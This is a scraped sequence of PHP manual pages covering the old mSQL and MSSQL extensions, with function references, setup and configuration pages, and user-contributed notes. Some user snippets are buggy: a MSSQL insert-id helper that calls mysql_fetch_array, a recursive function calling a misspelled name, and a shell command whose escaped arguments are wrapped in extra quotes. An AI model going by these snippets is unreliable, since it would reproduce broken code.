The mSQL connection. If not specified, the last link opened by msql_connect() is assumed. If no such link is found, the function will try to establish a link as if msql_connect() was called, and use it.

Return Values

Returns a result set which may be traversed with any function that fetches result sets, such as msql_fetch_array(). On failure, this function will return FALSE.

See Also

  • msql_list_tables() - List tables in an mSQL database
  • msql_list_dbs() - List mSQL databases on server

User Contributed Notes

There are no user contributed notes for this page.
msql_list_dbs
msql_list_tables
mSQL Functions


List tables in an mSQL database

msql_list_fields
msql_num_fields
mSQL Functions
PHP Manual

msql_list_tables

(PHP 4, PHP 5)

msql_list_tables — List tables in an mSQL database

Description

resource msql_list_tables ( string $database [, resource $link_identifier ] )

msql_list_tables() lists the tables on the specified database.

Parameters

database

The name of the database.

link_identifier

The mSQL connection. If not specified, the last link opened by msql_connect() is assumed. If no such link is found, the function will try to establish a link as if msql_connect() was called, and use it.

Return Values

Returns a result set which may be traversed with any function that fetches result sets, such as msql_fetch_array(). On failure, this function will return FALSE.

See Also

  • msql_list_fields() - List result fields
  • msql_list_dbs() - List mSQL databases on server

User Contributed Notes

There are no user contributed notes for this page.
msql_list_fields
msql_num_fields
mSQL Functions


Get number of fields in result

msql_list_tables
msql_num_rows
mSQL Functions
PHP Manual

msql_num_fields

(PHP 4, PHP 5)

msql_num_fields — Get number of fields in result

Description

int msql_num_fields ( resource $result )

msql_num_fields() returns the number of fields in a result set.

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

Return Values

Returns the number of fields in the result set.

See Also

  • msql_query() - Send mSQL query
  • msql_fetch_field() - Get field information
  • msql_num_rows() - Get number of rows in result

User Contributed Notes

There are no user contributed notes for this page.
msql_list_tables
msql_num_rows
mSQL Functions


Get number of rows in result

msql_num_fields
msql_numfields
mSQL Functions
PHP Manual

msql_num_rows

(PHP 4, PHP 5)

msql_num_rows — Get number of rows in result

Description

int msql_num_rows ( resource $query_identifier )

msql_num_rows() returns the number of rows in a result set.

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

Return Values

Returns the number of rows in the result set.

See Also

  • msql_num_fields() - Get number of fields in result

User Contributed Notes

dd at hibm dot org 21-Apr-2009 02:23
If you would like to just find out how many rows are returned by a query without actually using the results, then it's much more efficient to use SQL count function (specially for large tables with millions of rows).

<?php

$sql = "SELECT COUNT(indexed-field) AS cnt FROM some-table";
$r = mysql_query($sql);
$row = mysql_fetch_object($r);
echo $row->cnt;
?>
julienmurray at gmail dot com 15-May-2008 09:49
<?php
class SQLServerAccess
{
    var $db_connection;

    function __construct()
    {
        $instancia = 'instance_name';
        $usuario = 'user';
        $senha = 'password';
        $banco_dados = 'data_base';
        $this->db_connection    = mssql_connect($instancia, $usuario,$senha)
                    or die('Erro de Conexão no servidor '.$banco_dados);

        mssql_select_db($banco_dados)
                    or die('O banco de dados '.$banco_dados.' não pode ser selecionado');
    }

}
?>
<?php
class SQLServerRange
{

        var $recordcount = 0;

        function __construct($Query,$Conn)
        {
            $query_result = mssql_query($Query, $Conn) or die('Falha na consulta : '. $Query);
            if ($query_result)
            {
                $this->recordcount = mssql_num_rows($query_result);
            }
            return  $query_result;
        }
}
?>
msql_num_fields
msql_numfields
mSQL Functions


Alias of msql_num_fields

msql_num_rows
msql_numrows
mSQL Functions
PHP Manual

msql_numfields

(PHP 4, PHP 5)

msql_numfields — Alias of msql_num_fields()

Description

This function is an alias of msql_num_fields().

User Contributed Notes

There are no user contributed notes for this page.
msql_num_rows
msql_numrows
mSQL Functions


Alias of msql_num_rows

msql_numfields
msql_pconnect
mSQL Functions
PHP Manual

msql_numrows

(PHP 4, PHP 5)

msql_numrows — Alias of msql_num_rows()

Description

This function is an alias of msql_num_rows().

User Contributed Notes

There are no user contributed notes for this page.
msql_numfields
msql_pconnect
mSQL Functions


Open persistent mSQL connection

msql_numrows
msql_query
mSQL Functions
PHP Manual

msql_pconnect

(PHP 4, PHP 5)

msql_pconnect — Open persistent mSQL connection

Description

resource msql_pconnect ([ string $hostname ] )

msql_pconnect() acts very much like msql_connect() with two major differences.

First, when connecting, the function would first try to find a (persistent) link that's already open with the same host. If one is found, an identifier for it will be returned instead of opening a new connection.

Second, the connection to the SQL server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (msql_close() will not close links established by this function).

Parameters

hostname

The hostname can also include a port number. e.g. hostname,port.

If not specified, the connection is established by the means of a Unix domain socket, being more efficient than a localhost TCP socket connection.

Note: While this function will accept a colon (:) as a host/port separator, a comma (,) is the preferred method.

Return Values

Returns a positive mSQL link identifier on success, or FALSE on error.

See Also

  • msql_connect() - Open mSQL connection
  • msql_close() - Close mSQL connection

User Contributed Notes

There are no user contributed notes for this page.
msql_numrows
msql_query
mSQL Functions


Send mSQL query

msql_pconnect
msql_regcase
mSQL Functions
PHP Manual

msql_query

(PHP 4, PHP 5)

msql_query — Send mSQL query

Description

resource msql_query ( string $query [, resource $link_identifier ] )

msql_query() sends a query to the currently active database on the server that's associated with the specified link identifier.

Parameters

query

The SQL query.

link_identifier

The mSQL connection. If not specified, the last link opened by msql_connect() is assumed. If no such link is found, the function will try to establish a link as if msql_connect() was called, and use it.

Return Values

Returns a positive mSQL query identifier on success, or FALSE on error.

Examples

Example #1 msql_query() example

<?php
$link = msql_connect("dbserver")
   or die("unable to connect to msql server: " . msql_error());
msql_select_db("db", $link)
   or die("unable to select database 'db': " . msql_error());

$result = msql_query("SELECT * FROM table WHERE id=1", $link);
if (!$result) {
   die("query failed: " . msql_error());
}

while ($row = msql_fetch_array($result)) {
    echo $row["id"];
}
?>

See Also

  • msql_db_query() - Send mSQL query
  • msql_select_db() - Select mSQL database
  • msql_connect() - Open mSQL connection

User Contributed Notes

There are no user contributed notes for this page.
msql_pconnect
msql_regcase
mSQL Functions


Alias of sql_regcase

msql_query
msql_result
mSQL Functions
PHP Manual

msql_regcase

(PHP 4, PHP 5)

msql_regcase — Alias of sql_regcase()

Description

This function is an alias of sql_regcase().

User Contributed Notes

There are no user contributed notes for this page.
msql_query
msql_result
mSQL Functions


Get result data

msql_regcase
msql_select_db
mSQL Functions
PHP Manual

msql_result

(PHP 4, PHP 5)

msql_result — Get result data

Description

string msql_result ( resource $result , int $row [, mixed $field ] )

msql_result() returns the contents of one cell from a mSQL result set.

When working on large result sets, you should consider using one of the functions that fetch an entire row (specified below). As these functions return the contents of multiple cells in one function call, they are often much quicker than msql_result().

Recommended high-performance alternatives:
msql_fetch_row(),
msql_fetch_array(), and
msql_fetch_object().

Parameters

result

The result resource that is being evaluated. This result comes from a call to msql_query().

row

The row offset.

field

Can be the field's offset, or the field's name, or the field's table dot field's name (tablename.fieldname.). If the column name has been aliased ('select foo as bar from ...'), use the alias instead of the column name.

Note:

Specifying a numeric field offset is much quicker than specifying a fieldname or tablename.fieldname.

Return Values

Returns the contents of the cell at the row and offset in the specified mSQL result set.

User Contributed Notes

There are no user contributed notes for this page.
msql_regcase
msql_select_db
mSQL Functions


Select mSQL database

msql_result
msql_tablename
mSQL Functions
PHP Manual

msql_select_db

(PHP 4, PHP 5)

msql_select_db — Select mSQL database

Description

bool msql_select_db ( string $database_name [, resource $link_identifier ] )

msql_select_db() sets the current active database on the server that's associated with the specified link_identifier.

Subsequent calls to msql_query() will be made on the active database.

Parameters

database_name

The database name.

link_identifier

The mSQL connection. If not specified, the last link opened by msql_connect() is assumed. If no such link is found, the function will try to establish a link as if msql_connect() was called, and use it.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • msql_connect() - Open mSQL connection
  • msql_pconnect() - Open persistent mSQL connection
  • msql_query() - Send mSQL query

User Contributed Notes

There are no user contributed notes for this page.
msql_result
msql_tablename
mSQL Functions


Alias of msql_result

msql_select_db
msql
mSQL Functions
PHP Manual

msql_tablename

(PHP 4, PHP 5)

msql_tablename — Alias of msql_result()

Description

This function is an alias of msql_result().

User Contributed Notes

There are no user contributed notes for this page.
msql_select_db
msql
mSQL Functions


Alias of msql_db_query

msql_tablename
Mssql
mSQL Functions
PHP Manual

msql

(PHP 4, PHP 5)

msql — Alias of msql_db_query()

Description

This function is an alias of msql_db_query().

User Contributed Notes

There are no user contributed notes for this page.
msql_tablename
Mssql
mSQL Functions


Microsoft SQL Server

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Mssql Functions
    • mssql_bind — Adds a parameter to a stored procedure or a remote stored procedure
    • mssql_close — Close MS SQL Server connection
    • mssql_connect — Open MS SQL server connection
    • mssql_data_seek — Moves internal row pointer
    • mssql_execute — Executes a stored procedure on a MS SQL server database
    • mssql_fetch_array — Fetch a result row as an associative array, a numeric array, or both
    • mssql_fetch_assoc — Returns an associative array of the current row in the result
    • mssql_fetch_batch — Returns the next batch of records
    • mssql_fetch_field — Get field information
    • mssql_fetch_object — Fetch row as object
    • mssql_fetch_row — Get row as enumerated array
    • mssql_field_length — Get the length of a field
    • mssql_field_name — Get the name of a field
    • mssql_field_seek — Seeks to the specified field offset
    • mssql_field_type — Gets the type of a field
    • mssql_free_result — Free result memory
    • mssql_free_statement — Free statement memory
    • mssql_get_last_message — Returns the last message from the server
    • mssql_guid_string — Converts a 16 byte binary GUID to a string
    • mssql_init — Initializes a stored procedure or a remote stored procedure
    • mssql_min_error_severity — Sets the minimum error severity
    • mssql_min_message_severity — Sets the minimum message severity
    • mssql_next_result — Move the internal result pointer to the next result
    • mssql_num_fields — Gets the number of fields in result
    • mssql_num_rows — Gets the number of rows in result
    • mssql_pconnect — Open persistent MS SQL connection
    • mssql_query — Send MS SQL query
    • mssql_result — Get result data
    • mssql_rows_affected — Returns the number of records affected by the query
    • mssql_select_db — Select MS SQL database

User Contributed Notes

bryanpiercecap at gmail dot com 03-Jan-2012 10:19
Here is version 3.0 of the MSSQL PHP driver.
1.1 is severely deprecated.

http://www.microsoft.com/download/en/details.aspx?id=17308
jezza at 9000internets dot com 05-Oct-2010 06:02
Using the new MS driver I have come across a difference between the array that I get back compared to mssql.

Example is here (both return types are associative arrays:

sqlsrv_fetch_array($resource, SQLSRV_FETCH_ASSOC)
"same as" sqlsrv_fetch($resource), as this returns by default an associative array, by default sqlsrv_fetch_array returns both an associative and a numeric array.

returns...

array(6) { ["yaxis"]=> object(DateTime)#58 (3) { ["date"]=> string(19) "2010-09-29 00:00:00" ["timezone_type"]=> int(3) ["timezone"]=> string(19) "Australia/Melbourne" } ["xaxis"]=> string(7) "Inbound" ["tt"]=> int(280345) ["ht"]=> int(297219) ["wt"]=> int(16874) ["calls"]=> int(1539) } string(8) ""

mssql_fetch_assoc($resource)

returns

array(6) { ["yaxis"]=> string(19) "2010-09-29 00:00:00" ["xaxis"]=> string(7) "Inbound" ["tt"]=> int(280345) ["ht"]=> int(297219) ["wt"]=> int(16874) ["calls"]=> int(1539) } string(8) ""

it would be much too difficult to change a large number of applications to compensate for this.

Found my answer...
add this to your connection objects parameters on instantiation

"ReturnDatesAsStrings"=>true

Found it buried in this article: http://msdn.microsoft.com/en-us/library/ee376928(SQL.90).aspx
vexx at pisem dot net 02-Oct-2010 03:26
this function get inserted ident like function mysql_insert_id()

<?php
function mssql_insert_id() {
    $id = 0;
    $res = mssql_query("SELECT @@identity AS id");
    if ($row = mysql_fetch_array($res, MYSQL_ASSOC)) {
        $id = $row["id"];
    }
    return $id;
}
?>
beartenor1 05-Feb-2010 12:18
As of October 2009, the new name is "SQL Server Driver for PHP 1.1"

Go to Microsoft Download Center http://www.microsoft.com/downloads and search
for "SQL Server Driver for PHP" which should take you to the following link:

http://www.microsoft.com/downloads/details.aspx?displaylang=en
&FamilyID=ccdf728b-1ea0-48a8-a84a-5052214caad9

But I wouldn't trust it to stay there. Microsoft has been moving a lot of download links lately.
tummen at jgd dot se 05-Sep-2009 03:28
i struggled with sqlsrv_connect for some time, first i had to get native client 2008 to get it to work, 2005 was not enough.

then i got som note that dll was compiled with wrong version, so i had to use test version 1.1 istead of 1.0 of the client and pick the version called php_sqlsrv_53_ts_vc6.dll

but still no success with connect.

finally i spent 7 hours testing things before i found out:

$serverName = "(local)"; ERROR for me

$serverName = "localhost\myinstansofdatabase"; //WOHOOOO
michal dot kocarek at brainbox dot cz 19-Aug-2009 02:05
Microsoft has issued in nearly past Native SQL driver for PHP.
This driver works with MSSQL 2000, 2005 and 2008 servers. Driver is issued as PHP extension. Source codes also available.

The driver supports native conversion to UTF-8, scrollable cursors and other features which this (old) library does not.

For more information and extension download please see
http://www.codeplex.com/SQLSRVPHP
They have also blog on http://blogs.msdn.com/sqlphp/
ccsalway at yahoo dot co dot uk 15-Aug-2009 12:02
Im running PHP 5.3 and used the php development ini and when I use the Microsoft SQL for PHP driver, I get the following error:

[15-Aug-2009 07:48:13] PHP Warning:  PHP Startup: sqlsrv: Unable to initialize module
Module compiled with module API=20060613
PHP    compiled with module API=20090626
These options need to match
 in Unknown on line 0
exidas at madnes dot eu 05-Aug-2009 12:43
Hi, i was need some short and simple script to list all tables and columns of MSSQL database. There was nothing easy to explain on the net, so i've decided to share my short script, i hope it will help.

<?php
$all = MSSQL_Query("select TABLE_NAME, COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS order by TABLE_NAME, ORDINAL_POSITION");

$tables = array();
$columns = array();

while($fet_tbl = MSSQL_Fetch_Assoc($all)) { // PUSH ALL TABLES AND COLUMNS INTO THE ARRAY

  $tables[] = $fet_tbl[TABLE_NAME];
  $columns[] = $fet_tbl[COLUMN_NAME];

}

$sltml = array_count_values($tables); // HOW MANY COLUMNS ARE IN THE TABLE

foreach($sltml as $table_name => $id) {

 echo "<h2>". $table_name ." (". $id .")</h2><ol>";

    for($i = 0; $i <= $id-1; $i++) {

    echo "<li>". $columns[$i] ."</li>";

    }

  echo"</ol>";

}
?>
hlex dot hlex at gmail dot com 26-Jun-2009 10:04
if your sql server use ANSI encoding and your page use UTF-8, this is method to convert to UTF-8

<?php
function convertAnsi2UTF8($array){
    foreach ($array as  $key=>$item) {
        if(is_array($item)) $array[$key]=convertAnti2UTF8($item);
        else $array[$key]=iconv("TIS-620","UTF-8",$item);
    }
    return $array;
}
?>
opc dot three at gmail dot com 02-Jun-2009 08:50
After extensive research trying to get PHP on Linux communicating with SQL Server 2005 and 2008 including support for all Unicode, MAX and XML data types I could not find any open source solutions...yes, I spent a lot of time trying to get FreeTDS to work to no avail.

I found one free solution that runs on Windows which is to use the "SQL Server Driver for PHP" provided by Microsoft (http://sql2k5php.codeplex.com). The driver relies on the Microsoft Native Client ODBC drivers for SQL Server 2008 (part of the "Microsoft SQL Server 2008 Native Client" which is downloadable from Microsoft) which is why this solution will not work on anything except Windows.

I did find a solution that works for PHP on Linux but it's not free...use the standard PHP::ODBC lib (free) and the Easysoft ODBC driver for SQL Server (not free, but reasonable by Enterprise standards). You can check out the ODBC driver by going here http://www.easysoft.com/products/data_access and looking for "Easysoft ODBC-SQL Server Driver"
thanhha dot phan at yahoo dot com 03-May-2009 07:03
I got a serious problem with Unicode data when working with PHP and MSSQL. I have to say the PHP and MSSQL doesn't seem to be a good combination.

MSSQL is really complicated to work with since the whole server uses a single character encoding[ucs-2]. In order to store unicode information, the column data types must be specified as one of the national character types, NVARCHAR, NCHAR or NTEXT.

In order to retrieve data saved in unicode format, M$ suggest users to cast columns to binary data.Unfortunately php_mssql extension doesn't support  binary data to be returned in string columns.

My advice is to use FreeTDS driver [it's just an php extension]. This driver seems to handle unicode data better. I can put and receive unicode with casting or change encoding.

A good tutorial "Using freeTDS" can be found here

http://docs.moodle.org/en/Installing_MSSQL_for_PHP

However, freeTDS is not a perfect solution for unicode data. I'm not able to execute stored procedures with mssql_bind, mssql_bind without having my text changed.
AA 11-Mar-2009 12:26
On windows, do not use this for mssql 2005 of later.  The methods of access are deprecated.

Use the Microsoft SQL Server 2005 Driver for PHP instead.
Current link is.
http://www.microsoft.com/sqlserver/2005/en/us/PHP-Driver.aspx
msql
Introduction
Vendor Specific Database Extensions


Introduction

These functions allow you to access MS SQL Server database.

This extension is not available anymore on Windows with PHP 5.3 or later.

SQLSRV, an alternative driver for MS SQL is available from Microsoft: » http://msdn.microsoft.com/en-us/sqlserver/ff657782.aspx.

User Contributed Notes

alvaro at demogracia dot com 16-Dec-2009 08:40
SQLSRV is not exactly a "driver": it's a completely different PHP extension to access SQL Server databases and it has its own syntax and features. It's a Windows-only library developed and maintained by Microsoft and it's not related to the built-in SQL Server extension described here.

(Whatever, it's quite feature-rich and it's easy to learn.)
Mssql
Installing/Configuring
Mssql


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

dragos at rdss dot ro 03-May-2011 09:59
mssql install-setup as so on linux:

get freetds package
1. wget ftp://ftp.ibiblio.org/pub/Linux/
ALPHA/freetds/stable/freetds-stable.tgz
2. uncompress and cd 2 sources folder
3. ./configure --enable-msdblib --prefix=/usr/local/freetds
4. make
5. make install
copy some supplementary files
6. cp include/tds.h /usr/local/freetds/include
7. cp src/tds/.libs/libtds.a /usr/local/freetds/lib

get php devel sources if you don't have it and install it
get php sourcers files, uncompress it, chdir
8. chdir ext/mssql
8. phpize
9. ./configure --with-mssql=/usr/local/freetds
10. make
11. cp modules/mssql.so phpextensionpath, or make install

12. echo "/usr/local/freetds/lib" >> /etc/ld.so.conf
and
echo "export FREETDSCONF=/usr/local/freetds/etc/freetds.conf" >> /etc/profile
add in extension section
13. extension=mssql.so to php.ini
add in httpd.conf right above "Include /etc/httpd/mod_php.conf"
14.SetEnv FREETDSCONF /usr/local/freetds/etc/freetds.conf
15. set you server connection in /usr/local/freetds/etc/freetds.conf

for testing w/o reboot server:
16. export FREETDSCONF=/usr/local/freetds/etc/freetds.conf
17. restart apache
18. verify mssql enabled with phpinfo()
19. run your test script.
20. other fine tunnigs and settings

pls. keep in mind:
- your ms SQL must be setup with socket listing ;)
- check windoze box firewall to accept TCP 1433 connection.

Enjoy!
Dragos
robyn at dcphp dot com 13-Dec-2010 07:31
http://www.apachefriends.org/en/xampp-macosx.html

This links to xampp works great on macs. I have put it only for PPC machines, but it claims to work properly on Intel as well.

I also had success installing FreeTDS and PHP from source on an Intel Macbook, running Mac OS 10.6 (Snow Leopard). My steps were the following:

PREPARE SOURCE CODE
step 1: download latest php version
step 2: un-tar the php source code
step 3: download latest freetds version
step 4: un-tar the freetds source code

INSTALL THE FREETDS
step 5: make sure there is a writable directory at /usr/local/freetds
step 6: "cd" to the freetds source directory
step 7: run "sudo ./configure --prefix=/usr/local/freetds --enable-msdblib"
step 8: run "sudo make"
step 9: run "sudo make install"
step 10: run "touch /usr/local/freetds/include/tds.h" (add blank, but necessary files)
step 11: run "touch /usr/local/freetds/lib/libtds.a" (add blank, but necessary files)

INSTALL THE PHP
step 11: "cd" to the php source directory
step 12: run "sudo ./configure --disable-all --with-mssql=/usr/local/freetds"
step 13: run "sudo make"
step 14: run "sudo make install"

Of course, since I was disabling-all (step 12) that means that you have to explicitly add back those modules you want to configure php with.
mark dot treble at marktreble dot co dot uk 26-May-2010 11:28
If anybody is looking for the api documentation now - (26 May 2010), it can be found at:

http://msdn.microsoft.com/en-us/library/cc296152%28SQL.90%29.aspx
opc dot three at gmail dot com 01-Jun-2009 08:03
A new version of "Microsoft SQL Server Driver for PHP" (originally named "Microsoft SQL Server 2005 Driver for PHP") has been released that supports SQL Server 2008:

http://sql2k5php.codeplex.com

The driver leverages the ODBC driver included in the "Microsoft SQL Server 2008 Native Client" thus this PHP lib will only run on Windows.

You can download the ODBC driver from Microsoft's website for free as well at:
http://www.microsoft.com/downloads/details.aspx?FamilyId=228DE03F-3B5A-428A-923F-58A033D316E1&displaylang=en#SNAC
robert dot johnson at icap dot com 24-Sep-2008 03:49
Microsoft have provided a PHP driver for SQL Server 2005.

At the time of this note, the link to it is: http://msdn.microsoft.com/en-us/library/cc296221.aspx

If that doesn't work, search MSDN for "SQL Server 2005 Driver for PHP"
ksamuels at pleazNOSPAM dot sportsendeavors dot COM 18-Jun-2008 01:55
I was having a difficult time getting four Windows 2003 Servers to connect to an MSSQL database with PHP 5.2.5 and IIS after already getting one such server to connect with no problems.  I even copied the entire php directory and dlls to the other servers exactly as they were on the working server but continually got "Unable to connect to server" errors.  The fix was to delete the ntwdblib.dll from the PHP directory.  It was already in the C:\windows\system32 directory and this did not cause a problem on the first server but did on all the others.
jklowden at freetds dot org 27-May-2008 10:06
The 30-character limitation  does not apply to the FreeTDS db-lib implementation.  FreeTDS returns column names of any length supported by the server (and protocol).
Introduction
Requirements
Mssql


Requirements

Requirements for Win32 platforms.

The extension requires the MS SQL Client Tools to be installed on the system where PHP is installed. The Client Tools can be installed from the MS SQL Server CD or by copying ntwdblib.dll from \winnt\system32 on the server to \winnt\system32 on the PHP box. Copying ntwdblib.dll will only provide access through named pipes. Configuration of the client will require installation of all the tools.

This extension is not available anymore on Windows with PHP 5.3 or later.

SqlSrv, an alternative driver for MS SQL is available from Microsoft: » http://msdn.microsoft.com/en-us/sqlserver/ff657782.aspx.

Requirements for Unix/Linux platforms.

To use the MSSQL extension on Unix/Linux, you first need to build and install the FreeTDS library. Source code and installation instructions are available at the FreeTDS home page: » http://www.freetds.org/

Note:

On Windows, the DBLIB from Microsoft is used. Functions that return a column name are based on the dbcolname() function in DBLIB. DBLIB was developed for SQL Server 6.x where the max identifier length is 30. For this reason, the maximum column length is 30 characters. On platforms where FreeTDS is used (Linux), this is not a problem.

Note:

On Windows, if you're using MSSQL 2005 or greater you must copy the ntwdblib.dll into the directory where you have installed php and overwrite the one thats already in there. This is due to the version distributed is old and outdated. Alternatively you can use the » http://msdn.microsoft.com/en-us/sqlserver/ff657782.aspx, ODBC, PDO_DBLIB or PDO_ODBC extensions, to talk to MSSQL.

User Contributed Notes

mihabo at hotmail dot com 03-Mar-2010 03:56
I have struggled a lot to make PHP connect to a MS SQL server from under a Linux (using FreeTDS).
I installed the latest FreeTDS and tried to use usual host:port to connect to a server.
Finally when I configured freetds.conf like that:

[mysrvalias]
        host = 192.168.17.17
        port = 1433
        tds version = 7.0

and used mysrvalias instead of the 192.168.17.17:1433, it worked!
dave at modernsignal dot com 23-Dec-2009 10:17
On a relatively new install of Windows Server 2008, the dll MSVCR71.DLL was missing.  I was able to download it (search for "MSVCR71.DLL download") and put it in the system32 folder to get it to work.
Installing/Configuring
Installation
Installing/Configuring


Installation

The MSSQL extension is enabled by adding extension=php_mssql.dll to php.ini.

To get these functions to work, you have to compile PHP with --with-mssql[=DIR] , where DIR is the FreeTDS install prefix. And FreeTDS should be compiled using --enable-msdblib .

Warning

MS SQL functions are aliases to Sybase functions if PHP is compiled with Sybase extension and without MS SQL extension.

User Contributed Notes

Dave 25-Jan-2010 01:25
Linux users: I had to set the TDSDUMP and TDSCONFDUMP environment variables in my apache init script in order for freetds/mssql connections to work:

In my /etc/init.d/httpd file:
export FREETDSCONF=/usr/local/freetds/etc/freetds.conf
export SYBASE=/usr/local/freetds
export LD_LIBRARY_PATH=${LD_LIBRARY_PATH}:$SYBASE/lib
export TDSDUMP=/var/log/freetds/tdsdump-apache_log
export TDSDUMPCONF=/var/log/freetds/tdsdumpconf-apache_log

Make sure apache can write to the TDSDUMP directory.

(Using FreeTDS 0.82, PHP 5.2.9)
mirko dot steiner at slashdevslashnull dot de 29-Sep-2009 03:36
PHP msdblib niggle encountered

In configuring your new version of PHP to work with FreeTDS 0.82, you may encounter:
configure: error: Directory /usr/local/freetds-0.82 is not a FreeTDS installation directory
PHP tests for a FreeTDS installation by looking for files that FreeTDS no longer installs. To assure PHP that FreeTDS is installed, create two files where FreeTDS was installed e.g.:
$ touch /usr/local/freetds-0.82/include/tds.h
$ touch /usr/local/freetds-0.82/lib/libtds.a
The file that needs to be changed is used by autoconf when the distribution tarball is constructed. Cf. revision 1.13 of PHP source file config.m4. (12 June 2008)

(http://www.freetds.org/news.html)
jonatasvenancio at gmail dot com 03-Mar-2009 11:07
Finally i did it.

I could make the connection with MS-SQL:
1 - I downloaded the new version of ntwdblib.dll like we already saw at the others posts.
2 - I actived the php_mssql.dll in php.ini (the DLL must be in your extension dir)
3 - Restarted apache.
4 - Got my MS-SQL name instance (in my case was SQLEXPRESS because i was using MS-SQL Express Version and didn't change the default configuration).
5 - I did my connection file.

#################
<?php
$conn = mssql_connect("ADMIN-PC\SQLEXPRESS", "usuario", "senha") or die ("erro ao conectar");

// Admin-PC is the name of my computer and SQLExpress is the name of MS-SQL Instance).
// usuario is a user that i created on SQL server with this command.
// SP_AddLogin 'user', 'password'
// after that i used this onde SP_AddUser 'user'
// you can change fot the user you want.
// I cound't use the defaullt user of MS-SQL, but with this one the connection worked.

?>

I hope this can help you.

Sorry for the english.
I'm brasilian.
Venâncio
Matt Mason 09-Jul-2008 10:42
Had a problem compiling PHP with --with-mssql=/usr/local/freetds , kept saying that it wasn't a valid FreeTDS directory...

Check that when you install FreeTDS from source, that it actually puts the required files from the source directory to where the installation directory was specified, so to fix:

cp [tds source]/include/tds.h /usr/local/freetds/include
cp [tds source]src/tds/.libs/libtds.a /usr/local/freetds/lib

{in this example I installed FreeTDS to /usr/local/freetds}

This may make it a little easier for some else too.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

MS SQL Server configuration options
Name | Default | Changeable | Changelog
mssql.allow_persistent | "1" | PHP_INI_SYSTEM |
mssql.max_persistent | "-1" | PHP_INI_SYSTEM |
mssql.max_links | "-1" | PHP_INI_SYSTEM |
mssql.min_error_severity | "10" | PHP_INI_ALL |
mssql.min_message_severity | "10" | PHP_INI_ALL |
mssql.compatability_mode | "0" | PHP_INI_ALL |
mssql.connect_timeout | "5" | PHP_INI_ALL |
mssql.timeout | "60" | PHP_INI_ALL | Available since PHP 4.1.0.
mssql.textsize | "-1" | PHP_INI_ALL |
mssql.textlimit | "-1" | PHP_INI_ALL |
mssql.batchsize | "0" | PHP_INI_ALL | Available since PHP 4.0.4.
mssql.datetimeconvert | "1" | PHP_INI_ALL | Available since PHP 4.2.0.
mssql.secure_connection | "0" | PHP_INI_SYSTEM | Available since PHP 4.3.0.
mssql.max_procs | "-1" | PHP_INI_ALL | Available since PHP 4.3.0.
mssql.charset | "" | PHP_INI_ALL | Available since PHP 5.1.2 when built with FreeTDS 7.0 or greater.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

User Contributed Notes

Brendon Crawford 22-Apr-2010 04:00
Use this to check the runtime tds version...

<?php
/**
 *
 * Checks runtime tds version for freetds with mssql
 *
 * @author Brendon Crawford
 * @see http://us.php.net/manual/en/mssql.configuration.php
 * @param string $dbHost
 * @param int $dbPort
 * @param string $dbUser
 * @param string $dbPass
 * @return float
 *
 */
function checkTdsVersion($dbHost, $dbPort, $dbUser, $dbPass) {
    $cmd = sprintf(
        'echo "version" | ' .
        "   tsql " .
        "       -H '%s' " .
        "       -p '%s' " .
        "       -U '%s' " .
        "       -P '%s' " .
        "       -o q | " .
        "cut -d ' ' -f4 ",
        escapeshellarg($dbHost),
        escapeshellarg($dbPort),
        escapeshellarg($dbUser),
        escapeshellarg($dbPass)
    );
    $ver = (float)shell_exec($cmd);
    return $ver;
}
?>
jakub dot otrzasek at marol dot com dot pl 10-Jul-2009 05:03
mssql.charset      ""      PHP_INI_ALL
this setting is case sensitive, it can provide problms with connection to DB.

 ini_set('mssql.charset', 'utf-8');
this setting this allowed me to connect.

 ini_set('mssql.charset', 'UTF-8');
that one is ok.

regards!
ed at x-space dot net 31-Jan-2009 07:13
Take care about mssql.max_procs = '-1'. It doesn't mean unlimited procs.

With the default driver, it's mean 25 procs.

See php.ini for more information.

If you're application is stress, mssql_connect may failed without adjustment.
valli at icsurselva dot ch 04-Sep-2008 03:28
There also exists a configuration option called 'mssql.charset'.
It will override the 'client charset' setting in freetds.conf.
AFAIK this will only take effect if the 'tds version' setting
in freetds.conf is >=7.0
Installation
Resource Types
Installing/Configuring


Resource Types

mssql link

A connection link returned by mssql_connect() and mssql_pconnect().

mssql result

A result handle returned by mssql_query() on SELECT queries.

mssql statement

A statement handle returned by mssql_init().

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

MSSQL_ASSOC (integer)
Return an associative array. Used on mssql_fetch_array()'s result_type parameter.
MSSQL_NUM (integer)
Return an array with numeric keys. Used on mssql_fetch_array()'s result_type parameter.
MSSQL_BOTH (integer)
Return an array with both numeric keys and keys with their field name. This is the default value for mssql_fetch_array()'s result_type parameter.
SQLTEXT (integer)
Indicates the 'TEXT' type in MSSQL, used by mssql_bind()'s type parameter.
SQLVARCHAR (integer)
Indicates the 'VARCHAR' type in MSSQL, used by mssql_bind()'s type parameter.
SQLCHAR (integer)
Indicates the 'CHAR' type in MSSQL, used by mssql_bind()'s type parameter.
SQLINT1 (integer)
Represents one byte, with a range of -128 to 127.
SQLINT2 (integer)
Represents two bytes, with a range of -32768 to 32767.
SQLINT4 (integer)
Represents four bytes, with a range of -2147483648 to 2147483647.
SQLBIT (integer)
Indicates the 'BIT' type in MSSQL, used by mssql_bind()'s type parameter.
SQLFLT4 (integer)
Represents an four byte float.
SQLFLT8 (integer)
Represents an eight byte float.

User Contributed Notes

plee61 at hotmail dot com 03-May-2008 10:32
SQLINT1 represents one byte, range -128 to 127
SQLINT2 represents two bytes, range -32768 to 32767
SQLINT4 represents four bytes, range -2147483648 to 2147483647
Resource Types
Mssql Functions
Mssql


Mssql Functions

Table of Contents

  • mssql_bind — Adds a parameter to a stored procedure or a remote stored procedure
  • mssql_close — Close MS SQL Server connection
  • mssql_connect — Open MS SQL server connection
  • mssql_data_seek — Moves internal row pointer
  • mssql_execute — Executes a stored procedure on a MS SQL server database
